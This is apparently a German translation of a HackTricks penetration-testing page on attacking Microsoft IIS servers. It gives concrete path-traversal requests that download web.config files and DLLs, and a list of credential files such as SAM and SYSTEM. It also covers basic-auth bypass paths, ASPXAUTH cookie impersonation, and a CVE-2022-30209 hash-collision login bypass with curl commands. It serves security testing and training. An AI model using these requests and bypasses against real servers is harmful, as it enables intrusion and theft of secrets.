18 KiB
IIS - Internet Information Services
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
Sie können ihre Website besuchen und ihren Motor kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Testausführbare Dateierweiterungen:
- asp
- aspx
- config
- php
Offenlegung der internen IP-Adresse
Auf jedem IIS-Server, bei dem Sie eine 302 erhalten, können Sie versuchen, den Host-Header zu entfernen und HTTP/1.0 zu verwenden. Im Antworttext könnte der Location-Header auf die interne IP-Adresse verweisen:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Antwort, die die interne IP-Adresse offenlegt:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Ausführen von .config-Dateien
Sie können .config-Dateien hochladen und verwenden, um Code auszuführen. Eine Möglichkeit besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: Beispiel hier herunterladen
Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle finden Sie hier
IIS Discovery Bruteforce
Laden Sie die von mir erstellte Liste herunter:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurden:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Verwenden Sie sie, ohne eine Erweiterung hinzuzufügen, die Dateien, die sie benötigen, haben sie bereits.
Pfadtraversierung
Offenlegung von Quellcode
Überprüfen Sie die vollständige Beschreibung unter: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Zusammenfassend gibt es mehrere web.config-Dateien innerhalb der Anwendungsordner mit Verweisen auf "assemblyIdentity"-Dateien und "namespaces". Mit diesen Informationen ist es möglich zu wissen, wo sich ausführbare Dateien befinden und sie herunterzuladen.
Aus den heruntergeladenen Dlls ist es auch möglich, neue Namespaces zu finden, auf die Sie zugreifen und die web.config-Datei abrufen sollten, um neue Namespaces und assemblyIdentity zu finden.
Außerdem können die Dateien connectionstrings.config und global.asax interessante Informationen enthalten.
{% endhint %}
In .Net MVC-Anwendungen spielt die web.config-Datei eine entscheidende Rolle, indem sie jede Binärdatei angibt, auf die die Anwendung durch "assemblyIdentity"-XML-Tags angewiesen ist.
Erkunden von Binärdateien
Ein Beispiel zum Zugriff auf die web.config-Datei wird unten gezeigt:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Diese Anfrage enthüllt verschiedene Einstellungen und Abhängigkeiten, wie:
- EntityFramework-Version
- AppSettings für Webseiten, Client-Validierung und JavaScript
- Konfigurationen von System.web für Authentifizierung und Laufzeit
- Einstellungen für System.webServer-Module
- Laufzeit-Assembly-Bindungen für zahlreiche Bibliotheken wie Microsoft.Owin, Newtonsoft.Json und System.Web.Mvc
Diese Einstellungen deuten darauf hin, dass bestimmte Dateien, wie /bin/WebGrease.dll, sich im Ordner /bin der Anwendung befinden.
Stammverzeichnisdateien
Dateien im Stammverzeichnis, wie /global.asax und /connectionstrings.config (die sensible Passwörter enthalten), sind für die Konfiguration und den Betrieb der Anwendung unerlässlich.
Namespaces und Web.Config
MVC-Anwendungen definieren auch zusätzliche web.config-Dateien für spezifische Namespaces, um wiederholte Deklarationen in jeder Datei zu vermeiden, wie bei einer Anfrage zum Herunterladen eines weiteren web.config demonstriert:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Herunterladen von DLLs
Die Erwähnung eines benutzerdefinierten Namensraums deutet auf eine DLL mit dem Namen "WebApplication1" im /bin-Verzeichnis hin. Anschließend wird eine Anfrage zum Herunterladen der WebApplication1.dll angezeigt:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Dies deutet auf die Anwesenheit anderer wichtiger DLLs hin, wie System.Web.Mvc.dll und System.Web.Optimization.dll, im /bin-Verzeichnis.
In einem Szenario, in dem eine DLL einen Namespace namens WebApplication1.Areas.Minded importiert, könnte ein Angreifer auf die Existenz anderer web.config-Dateien in vorhersehbaren Pfaden schließen, wie z.B. /area-name/Views/, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin-Ordner enthalten. Beispielsweise kann eine Anfrage an /Minded/Views/web.config Konfigurationen und Namespaces offenlegen, die auf die Anwesenheit einer anderen DLL, WebApplication1.AdditionalFeatures.dll, hinweisen.
Gemeinsame Dateien
Von hier
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Fehler
Wenn Sie einen Fehler wie den folgenden sehen:
Bedeutet dies, dass der Server den korrekten Domainnamen nicht im Host-Header erhalten hat.
Um auf die Webseite zuzugreifen, könnten Sie einen Blick auf das bereitgestellte SSL-Zertifikat werfen und möglicherweise den Domain-/Subdomainnamen dort finden. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise VHosts brute forcen, bis Sie den richtigen gefunden haben.
Alte IIS-Schwachstellen, nach denen es sich lohnt zu suchen
Microsoft IIS Tilde-Zeichen "~" Schwachstelle/Funktion - Offenlegung kurzer Datei-/Ordnername
Sie können versuchen, Ordner und Dateien in jedem entdeckten Ordner aufzulisten (auch wenn dies eine Basisauthentifizierung erfordert) mithilfe dieser Technik.
Die Hauptbeschränkung dieser Technik, wenn der Server anfällig ist, besteht darin, dass nur bis zu den ersten 6 Buchstaben des Namens jeder Datei/Ordner und den ersten 3 Buchstaben der Erweiterung der Dateien gefunden werden können.
Sie können https://github.com/irsdl/IIS-ShortName-Scanner verwenden, um diese Schwachstelle zu testen: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Ursprüngliche Forschung: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Sie können auch Metasploit verwenden: use scanner/http/iis_shortname_scanner
Basisauthentifizierung umgehen
Umgehen Sie eine Basisauthentifizierung (IIS 7.5) und versuchen Sie auf Folgendes zuzugreifen: /admin:$i30:$INDEX_ALLOCATION/admin.php
oder /admin::$INDEX_ALLOCATION/admin.php
Sie können versuchen, diese Schwachstelle und die letzte zu kombinieren, um neue Ordner zu finden und die Authentifizierung zu umgehen.
ASP.NET Trace.AXD aktiviertes Debugging
ASP.NET enthält einen Debugging-Modus und die Datei heißt trace.axd
.
Es führt ein sehr detailliertes Protokoll aller Anfragen, die über einen bestimmten Zeitraum an eine Anwendung gestellt wurden.
Diese Informationen umfassen Remote-Client-IPs, Sitzungs-IDs, alle Anfrage- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH-Cookie
ASPXAUTH verwendet die folgenden Informationen:
validationKey
(Zeichenfolge): hex-codierter Schlüssel zur Verwendung für die Signaturvalidierung.decryptionMethod
(Zeichenfolge): (Standard "AES").decryptionIV
(Zeichenfolge): hex-codierter Initialisierungsvektor (standardmäßig ein Vektor aus Nullen).decryptionKey
(Zeichenfolge): hex-codierter Schlüssel zur Verwendung für die Entschlüsselung.
Einige Personen verwenden jedoch die Standardwerte dieser Parameter und verwenden als Cookie die E-Mail des Benutzers. Daher, wenn Sie eine Webseite finden, die die gleiche Plattform verwendet, die den ASPXAUTH-Cookie verwendet, und Sie einen Benutzer mit der E-Mail des Benutzers erstellen, den Sie auf dem angegriffenen Server imitieren möchten, könnten Sie in der Lage sein, den Cookie vom zweiten Server im ersten zu verwenden und den Benutzer zu imitieren.
Dieser Angriff funktionierte in diesem Bericht.
IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209)
Vollständiger Bericht hier: Ein Fehler im Code überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß, sodass ein Angreifer, dessen Passworthash auf einen Schlüssel trifft, der bereits im Cache vorhanden ist, sich als dieser Benutzer anmelden kann.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Suchmaschine kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.